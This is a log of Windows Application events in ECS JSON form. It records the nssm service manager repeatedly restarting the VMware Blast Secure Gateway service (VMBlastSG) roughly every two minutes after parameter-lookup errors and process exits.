{"@timestamp":1646731978899,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":160505}}
{"@timestamp":1646731978900,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":160506}}
{"@timestamp":1646731978901,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":160507}}
{"@timestamp":1646732107461,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":160508}}
{"@timestamp":1646732107463,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":160509}}
{"@timestamp":1646732107464,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","154080","0"]}}},"module":"Application","provider":"nssm","sequence":160510}}
{"@timestamp":1646732107465,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["154080","154080","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":160511}}
{"@timestamp":1646732107483,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":160512}}
{"@timestamp":1646732107483,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":160513}}
{"@timestamp":1646732107485,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":160514}}
{"@timestamp":1646732107486,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":160515}}
{"@timestamp":1646732236009,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":160516}}
{"@timestamp":1646732236010,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":160517}}
{"@timestamp":1646732236012,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","157088","0"]}}},"module":"Application","provider":"nssm","sequence":160518}}
{"@timestamp":1646732236013,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["157088","157088","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":160519}}
{"@timestamp":1646732236030,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":160520}}
{"@timestamp":1646732236031,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":160521}}
{"@timestamp":1646732236032,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":160522}}
{"@timestamp":1646732236032,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":160523}}
{"@timestamp":1646732364539,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":160524}}
{"@timestamp":1646732364540,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":160525}}
{"@timestamp":1646732364540,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","156680","0"]}}},"module":"Application","provider":"nssm","sequence":160526}}
{"@timestamp":1646732364541,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["156680","156680","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":160527}}
{"@timestamp":1646732364557,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":160528}}
{"@timestamp":1646732364557,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":160529}}
{"@timestamp":1646732364558,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":160530}}
{"@timestamp":1646732364559,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":160531}}
{"@timestamp":1646732493055,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":160532}}
{"@timestamp":1646732493055,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":160533}}
{"@timestamp":1646732493056,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","154936","0"]}}},"module":"Application","provider":"nssm","sequence":160534}}
{"@timestamp":1646732493057,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["154936","154936","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":160535}}
{"@timestamp":1646732493075,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":160536}}
{"@timestamp":1646732493076,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":160537}}
{"@timestamp":1646732493076,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":160538}}
{"@timestamp":1646732493077,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":160539}}
{"@timestamp":1646732621809,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":160540}}
{"@timestamp":1646732621810,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":160541}}
{"@timestamp":1646732621823,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","157028","0"]}}},"module":"Application","provider":"nssm","sequence":160542}}
{"@timestamp":1646732621824,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["157028","157028","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":160543}}
{"@timestamp":1646732621840,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":160544}}
{"@timestamp":1646732621841,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":160545}}
{"@timestamp":1646732621841,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":160546}}
{"@timestamp":1646732621842,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":160547}}
{"@timestamp":1646732750399,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":160548}}
{"@timestamp":1646732750400,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":160549}}
{"@timestamp":1646732750401,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","156756","0"]}}},"module":"Application","provider":"nssm","sequence":160550}}
{"@timestamp":1646732750402,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["156756","156756","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":160551}}
{"@timestamp":1646732750423,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","157312","0"]}}},"module":"Application","provider":"nssm","sequence":160552}}
{"@timestamp":1646732750423,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["157312","156756","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":160553}}
{"@timestamp":1646732750441,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":160554}}
{"@timestamp":1646732750442,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":160555}}
{"@timestamp":1646732750442,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":160556}}
{"@timestamp":1646732750443,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":160557}}
{"@timestamp":1646732879010,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":160558}}
{"@timestamp":1646732879011,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":160559}}
{"@timestamp":1646732879012,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","156372","0"]}}},"module":"Application","provider":"nssm","sequence":160560}}
{"@timestamp":1646732879013,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["156372","156372","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":160561}}
{"@timestamp":1646732879030,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":160562}}
{"@timestamp":1646732879032,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":160563}}
{"@timestamp":1646732879032,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":160564}}
{"@timestamp":1646732879033,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":160565}}
{"@timestamp":1646733007528,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":160566}}
{"@timestamp":1646733007528,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":160567}}
{"@timestamp":1646733007529,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","157016","0"]}}},"module":"Application","provider":"nssm","sequence":160568}}
{"@timestamp":1646733007530,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["157016","157016","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":160569}}
{"@timestamp":1646733007549,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":160570}}
{"@timestamp":1646733007550,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":160571}}
{"@timestamp":1646733007550,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":160572}}
{"@timestamp":1646733007551,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":160573}}
{"@timestamp":1646733136054,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":160574}}
{"@timestamp":1646733136055,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":160575}}
{"@timestamp":1646733136055,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","157488","0"]}}},"module":"Application","provider":"nssm","sequence":160576}}
{"@timestamp":1646733136056,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["157488","157488","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":160577}}
{"@timestamp":1646733136072,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":160578}}
{"@timestamp":1646733136072,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":160579}}
{"@timestamp":1646733136073,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":160580}}
{"@timestamp":1646733136074,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":160581}}
{"@timestamp":1646733264578,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":160582}}
{"@timestamp":1646733264578,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":160583}}
{"@timestamp":1646733264580,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","156212","0"]}}},"module":"Application","provider":"nssm","sequence":160584}}
{"@timestamp":1646733264581,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["156212","156212","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":160585}}
{"@timestamp":1646733264599,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":160586}}
{"@timestamp":1646733264599,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":160587}}
{"@timestamp":1646733264600,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":160588}}
{"@timestamp":1646733264601,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":160589}}
{"@timestamp":1646733393182,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":160590}}
{"@timestamp":1646733393183,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":160591}}
{"@timestamp":1646733393184,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","156092","0"]}}},"module":"Application","provider":"nssm","sequence":160592}}
{"@timestamp":1646733393184,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["156092","156092","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":160593}}
{"@timestamp":1646733393201,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":160594}}
{"@timestamp":1646733393201,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":160595}}
{"@timestamp":1646733393202,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":160596}}
{"@timestamp":1646733393203,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":160597}}
{"@timestamp":1646733521715,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":160598}}
{"@timestamp":1646733521716,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":160599}}
{"@timestamp":1646733521716,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","154156","0"]}}},"module":"Application","provider":"nssm","sequence":160600}}
{"@timestamp":1646733521717,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["154156","154156","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":160601}}
{"@timestamp":1646733521732,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":160602}}
{"@timestamp":1646733521733,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":160603}}
{"@timestamp":1646733521733,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":160604}}
{"@timestamp":1646733521734,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":160605}}
{"@timestamp":1646733650269,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":160606}}
{"@timestamp":1646733650270,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":160607}}
{"@timestamp":1646733650271,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","154888","0"]}}},"module":"Application","provider":"nssm","sequence":160608}}
{"@timestamp":1646733650271,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["154888","154888","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":160609}}
